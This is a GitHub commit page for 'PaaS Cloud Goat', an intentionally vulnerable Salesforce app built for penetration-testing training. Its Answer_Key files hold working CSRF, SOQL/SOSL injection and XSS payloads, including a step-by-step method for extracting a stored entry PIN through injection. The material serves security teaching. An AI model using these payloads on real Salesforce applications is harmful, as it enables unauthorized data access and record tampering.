Skip to content

Commit d7c6029

Browse files
rbeederbeede
committed
First revision publication
1 parent 952f2dc commit d7c6029

File tree

131 files changed

+26090
-0
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

131 files changed

+26090
-0
lines changed

‎.forceignore

+17
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
# List files or directories below to ignore them when running force:source:push, force:source:pull, and force:source:status
2+
# More information: https://developer.salesforce.com/docs/atlas.en-us.sfdx_dev.meta/sfdx_dev/sfdx_dev_exclude_source.htm
3+
#
4+
5+
# https://salesforce.stackexchange.com/questions/366564/deployment-error-the-appmenu-called-appswitcher-is-standard-and-cannot-be-de
6+
**/appMenus/**
7+
**/appSwitcher/**
8+
9+
10+
package.xml
11+
12+
# LWC configuration files
13+
**/jsconfig.json
14+
**/.eslintrc.json
15+
16+
# LWC Jest
17+
**/__tests__/**

‎.gitattributes

30 Bytes
Binary file not shown.

‎.gitignore

+50
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
# This file is used for Git repositories to specify intentionally untracked files that Git should ignore.
2+
# If you are not using git, you can delete this file. For more information see: https://git-scm.com/docs/gitignore
3+
# For useful gitignore templates see: https://github.com/github/gitignore
4+
5+
# Salesforce cache
6+
.sf/
7+
.sfdx/
8+
.localdevserver/
9+
deploy-options.json
10+
11+
# LWC VSCode autocomplete
12+
**/lwc/jsconfig.json
13+
14+
# LWC Jest coverage reports
15+
coverage/
16+
17+
# Logs
18+
logs
19+
*.log
20+
npm-debug.log*
21+
yarn-debug.log*
22+
yarn-error.log*
23+
24+
# Dependency directories
25+
node_modules/
26+
27+
# Eslint cache
28+
.eslintcache
29+
30+
# MacOS system files
31+
.DS_Store
32+
33+
# Windows system files
34+
Thumbs.db
35+
ehthumbs.db
36+
[Dd]esktop.ini
37+
$RECYCLE.BIN/
38+
39+
# Local environment variables
40+
.env
41+
42+
# Python Salesforce Functions
43+
**/__pycache__/
44+
**/.venv/
45+
**/venv/
46+
47+
48+
# Local dev folders
49+
.vscode/
50+
.husky/

‎.prettierignore

+11
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
# List files or directories below to ignore them when running prettier
2+
# More information: https://prettier.io/docs/en/ignore.html
3+
#
4+
5+
**/staticresources/**
6+
.localdevserver
7+
.sfdx
8+
.sf
9+
.vscode
10+
11+
coverage/

‎.prettierrc

+17
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
{
2+
"trailingComma": "none",
3+
"plugins": [
4+
"prettier-plugin-apex",
5+
"@prettier/plugin-xml"
6+
],
7+
"overrides": [
8+
{
9+
"files": "**/lwc/**/*.html",
10+
"options": { "parser": "lwc" }
11+
},
12+
{
13+
"files": "*.{cmp,page,component}",
14+
"options": { "parser": "html" }
15+
}
16+
]
17+
}

‎Documentation/Answer_Key/CSRF.html

+3
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
Ignore the iframe just look at these cute cat pictures:
2+
3+
<iframe src="https://rdbmlrodneybeedecom-dev-ed--c.develop.vf.force.com/apex/CSRF1?id=003ak000001ogzbAAA&isdtp=p1&newname=HackedViaCSRF" />

‎Documentation/Answer_Key/EncryptedField1.txt

+4
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
SELECT id,Name,PublicSize__c,SecretIngredient__c FROM SecretSauce__c
2+
3+
4+
# Using SOQLInjection3 example

‎Documentation/Answer_Key/SOQL1.txt

+14
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
This page does not have a vulnerability as the user can only access things for which they already have permission.
2+
3+
Select id,name from Contact
4+
5+
Concept: Whether you use GUI pages or even have complete control over the query when leveraging the platform's security features data is secured.
6+
7+
8+
Do notice that you can guess and enumerate valid object field names (columns):
9+
10+
SELECT name FROM Building__c
11+
12+
versus the error from:
13+
14+
SELECT address FROM Building__c

‎Documentation/Answer_Key/SOQL3.txt

+8
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
Select id,name from Contact
2+
3+
Observe that the "PRIVATE" contact is still not listed due to the "with sharing" restriction.
4+
5+
However, custom object like Building received the default configuration for sharing. The system mode made the difference.
6+
7+
Notice also in code review the alternative ways to specify the authorization permission mode:
8+
.isAccessible(), .isUpdateable(), .isCreateable(), .isDeletable()

‎Documentation/Answer_Key/SOQL4.txt

+20
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
Using Burp (or browser devtools):
2+
3+
j_id0%3Ablock1%3Aj_id37%3Aj_id38%3Aj_id40%3Aeasymode=true
4+
5+
6+
j_id0%3Ablock1%3Aj_id37%3Aj_id38%3Aj_id40%3Aj_id41%3Aj_id47&column=dEsC+NULLS+LAST
7+
8+
9+
# observe this does not work due to ordering
10+
dEsC+NULLS+LAST+where+id+!%3d+NULL
11+
12+
Example: Try this back on SOQL 3:
13+
14+
# works without error
15+
16+
SELECT id,Name,Title,Phone FROM Contact where Name LIKE '%' ORDER BY Name dEsC NULLS LAST
17+
18+
# versus this which encounters an error
19+
20+
SELECT id,Name,Title,Phone FROM Contact ORDER BY Name dEsC NULLS LAST where Name LIKE '%'

‎Documentation/Answer_Key/SOQL5.txt

+14
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
HQ%
2+
3+
j_id0%3Ablock1%3Aj_id37%3Aj_id38%3Aj_id40%3Aj_id43=HQ%25
4+
5+
# change table to
6+
Building__c
7+
8+
&j_id0%3Ablock1%3Aj_id37%3Aj_id38%3Aj_id40%3Aj_id44=Building__c
9+
10+
easymode=true
11+
12+
13+
Note that there is no SOQL "comment" command so we cannot easily dispense with the WHERE Name LIKE ... part
14+

‎Documentation/Answer_Key/SOSL1.txt

+12
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
Ja* or HQ or Bu*
2+
3+
4+
Code Review: You can actually escape out with something like:
5+
6+
Ja*} IN Name Fields RETURNING Contact,
7+
8+
9+
but you observe that crafting a request with the required closing ' to escape the extra text is complicated.
10+
11+
12+
The real vuln is the unpriv user was able to search and see Building__c objects that they do not have authorization to access.

‎Documentation/Answer_Key/SOSL2.txt

+51
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
HQ (recommend setting a 6 digit PIN for demo)
2+
3+
4+
These FAIL due to quotes
5+
------------------------
6+
7+
Name LIKE '%'
8+
9+
Name LIKE \'%\'
10+
11+
12+
THIS one will work:
13+
-------------------
14+
15+
EntryPIN__c > 0
16+
17+
18+
How to determine the PIN?
19+
20+
Suppose we know it cannot start with 0. So possible values:
21+
1,000 to 99,999,999
22+
23+
How many digits are in our pin?
24+
25+
4, 5, 6, 7, 8 ???
26+
27+
# somewhere 7 to 8 digits?
28+
EntryPIN__c > 999999
29+
30+
# somewhere 4 to 5 digits?
31+
EntryPIN__c < 100000
32+
33+
# else - must be 6 digits, can double check with
34+
EntryPIN__c >= 100000 AND EntryPIN__c <= 999999
35+
36+
37+
# get the first digit only
38+
# Rule was PIN (stored in system at least) cannot start with 0
39+
# 1 to 9 with 6 digits
40+
41+
EntryPIN__c >= 100000 AND EntryPIN__c <= 199999
42+
43+
# Repeat with EntryPIN__c >= 200000 AND EntryPIN__c <= 299999
44+
# etc. EntryPIN__c >= #00000 AND EntryPIN__c <= #99999
45+
46+
# Get the second digit
47+
# 0 to 9 digits possible
48+
# Provide the first digit as F
49+
EntryPIN__c >= F#0000 AND EntryPIN__c <= F#9999
50+
51+
# an alternative would be to binay search the entire PIN all at once which is faster

‎Documentation/Answer_Key/XSS1 Persisent.txt

+13
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
# Two different examples, both log into the web browser dev console (F12)
2+
# Install these into a Contact's "Title"
3+
4+
Observe that the Salesforce built-in table has anti-xss filtering built-in.
5+
Whether in the explicit form of: <apex:outputText escape="true"
6+
or using {!variable} you get protection.
7+
8+
However, escape="false" can turn-off this protection.
9+
10+
11+
<img onerror=console.log('xss') src=b/>
12+
13+
"); console.log("level 2 XSS"); //comment-out_

‎Documentation/Answer_Key/XSS2 Reflective and DOM.txt

+13
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
Results will be in the web browser dev console (F12):
2+
3+
4+
https://rdbmlrodneybeedecom-dev-ed--c.develop.vf.force.com/apex/XSS2?#%22;%20console.log('xssdom');//
5+
6+
7+
# Breaking out of IE if comment
8+
https://rdbmlrodneybeedecom-dev-ed--c.develop.vf.force.com/apex/XSS2?userparam=testing%27;%3C/script%3E%3C![endif]--%3E%3Cscript%3Ealert(123)%3C/script%3E
9+
10+
11+
# variant 2
12+
13+
https://rdbmlrodneybeedecom-dev-ed--c.develop.vf.force.com/apex/XSS2?debugmode=haha%22/%3E%3C![endif]--%3E%3Cscript%3Ealert(%27you%20got%20xss%20variant%27);%3C/script%3E

‎Documentation/Answer_Key/XSS3 via static resource.txt

+7
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
https://rdbmlrodneybeedecom-dev-ed--c.develop.vf.force.com/resource/1713821014000/logo_svg?bgc=alert(%22catz%22)
2+
3+
4+
# This is not vulnerable because text/css is sent to the browser
5+
https://rdbmlrodneybeedecom-dev-ed--c.develop.vf.force.com/resource/1713820342000/geocities_css#alert(%22catz%22)
6+
# same for this variant due to CSS not accessing hash context in newer browsers
7+
https://rdbmlrodneybeedecom-dev-ed--c.develop.vf.force.com/apex/XSS3#alert(123);

‎Documentation/Deploying Paas Cloud Goat - version_2024-05.pptx

45.1 KB
Binary file not shown.

‎Documentation/How to Download All Metadata From Salesforce Using VS Code and SFDX- - @SalesforceHunt - #sfdx - YouTube.url

+2
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
[InternetShortcut]
2+
URL=https://www.youtube.com/watch?v=L_KIEW0ahNs

‎Documentation/OWASP San Antonio - July 2024 - Rodney Beede.pptx

3.48 MB
Binary file not shown.

‎Documentation/Salesforce Pen Testing Tips & Tricks.pptx

2.42 MB
Binary file not shown.

‎Documentation/TODO.txt

+6
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
XXE example
2+
Finish example
3+
4+
Java deserialization example
5+
6+
Lightning vs VF vs Apex

‎Documentation/short-promo-slides-PaaS Cloud Goat.pptx

7.47 MB
Binary file not shown.

‎README.md

+14
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
https://www.rodneybeede.com
2+
3+
Rodney Beede © 2024
4+
5+
----
6+
7+
PaaS Cloud Goat is a simulated vulnerable Salesforce application providing hands-on experience with penetration testing of custom Salesforce applications.
8+
9+
The tool is similar to other test tools like CloudGoat, CloudFoxable, AzureGoat, GCPGoat, and Pen-Testing Cloud REST APIs in OpenStack. It is not, however, a tool for attacking Salesforce.com itself.
10+
11+
It is novel because it focuses on custom applications deployed using the Salesforce platform and is the first tool to provide lab exercises with a collection of security tests. The main takeaways:
12+
1. Hands-on learning opportunity of security tests for a custom Salesforce application
13+
2. Detailed training documentation material about the underlying flaws to look for
14+
3. Single consolidated list of common Salesforce application vulnerabilities

‎Resources/A hacker goat in the cloud; Copilot AI; Designer;Content credentials;Generated with AI April 10, 2024 at 1-16 PM; 6c698311-1ccd-41f2-b5dc-b471a9949b16.jpg

200 KB
Loading

‎Resources/Sample Test Data - Building__c.csv

+5
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
"Id","OwnerId","IsDeleted","Name","CreatedDate","CreatedById","LastModifiedDate","LastModifiedById","SystemModstamp","EntryPIN__c"
2+
"a01ak00000CceokAAB","005ak0000033pdlAAA","0","Vault","2024-04-10 20:01:18","005ak0000033pdlAAA","2024-04-10 20:01:18","005ak0000033pdlAAA","2024-04-10 20:01:18","42"
3+
"a01ak00000CcetaAAB","005ak0000033pdlAAA","0","Satellite","2024-04-10 19:51:30","005ak0000033pdlAAA","2024-04-10 19:51:30","005ak0000033pdlAAA","2024-04-10 19:51:30","71478"
4+
"a01ak00000CckJ3AAJ","005ak0000033pdlAAA","0","HQ","2024-04-10 19:50:53","005ak0000033pdlAAA","2024-04-26 21:30:19","005ak0000033pdlAAA","2024-04-26 21:30:19","123123"
5+
"a01ak00000CcuS5AAJ","005ak0000033pdlAAA","0","Bunker","2024-04-10 19:59:02","005ak0000033pdlAAA","2024-04-10 19:59:02","005ak0000033pdlAAA","2024-04-10 19:59:02","71927"

‎allMetadata.xml

+67
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,67 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<Package xmlns="http://soap.sforce.com/2006/04/metadata">
3+
<types>
4+
<members>SOQLInjection1</members>
5+
<name>ApexClass</name>
6+
</types>
7+
<types>
8+
<members>SOQLInjection1</members>
9+
<name>ApexPage</name>
10+
</types>
11+
<types>
12+
<members>A_hacker_goat_in_the_cloud_Copilot</members>
13+
<name>ContentAsset</name>
14+
</types>
15+
<types>
16+
<members>PaaS_Cloud_Goat</members>
17+
<name>CustomApplication</name>
18+
</types>
19+
<types>
20+
<members>Building__c.EntryPIN__c</members>
21+
<name>CustomField</name>
22+
</types>
23+
<types>
24+
<members>CustomLabels</members>
25+
<name>CustomLabels</name>
26+
</types>
27+
<types>
28+
<members>Building__c</members>
29+
<name>CustomObject</name>
30+
</types>
31+
<types>
32+
<members>Building__c-en_US</members>
33+
<name>CustomObjectTranslation</name>
34+
</types>
35+
<types>
36+
<members>Building__c</members>
37+
<members>SOQL_Query_Language_Example</members>
38+
<members>WelcomeLab</members>
39+
<name>CustomTab</name>
40+
</types>
41+
<types>
42+
<members>BuildingsPage</members>
43+
<members>PaaS_Cloud_Goat_UtilityBar</members>
44+
<name>FlexiPage</name>
45+
</types>
46+
<types>
47+
<members>Building__c-Building Layout</members>
48+
<name>Layout</name>
49+
</types>
50+
<types>
51+
<members>Building__c.All</members>
52+
<name>ListView</name>
53+
</types>
54+
<types>
55+
<members>Building__c</members>
56+
<name>SharingRules</name>
57+
</types>
58+
<types>
59+
<members>Building__c</members>
60+
<name>TopicsForObjects</name>
61+
</types>
62+
<types>
63+
<members>BuildingsPage</members>
64+
<name>UiViewDefinition</name>
65+
</types>
66+
<version>59.0</version>
67+
</Package>

‎config/project-scratch-def.json

+13
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
{
2+
"orgName": "Demo company",
3+
"edition": "Developer",
4+
"features": ["EnableSetPasswordInApi"],
5+
"settings": {
6+
"lightningExperienceSettings": {
7+
"enableS1DesktopEnabled": true
8+
},
9+
"mobileSettings": {
10+
"enableS1EncryptedStoragePref2": false
11+
}
12+
}
13+
}

0 commit comments

Comments
 (0)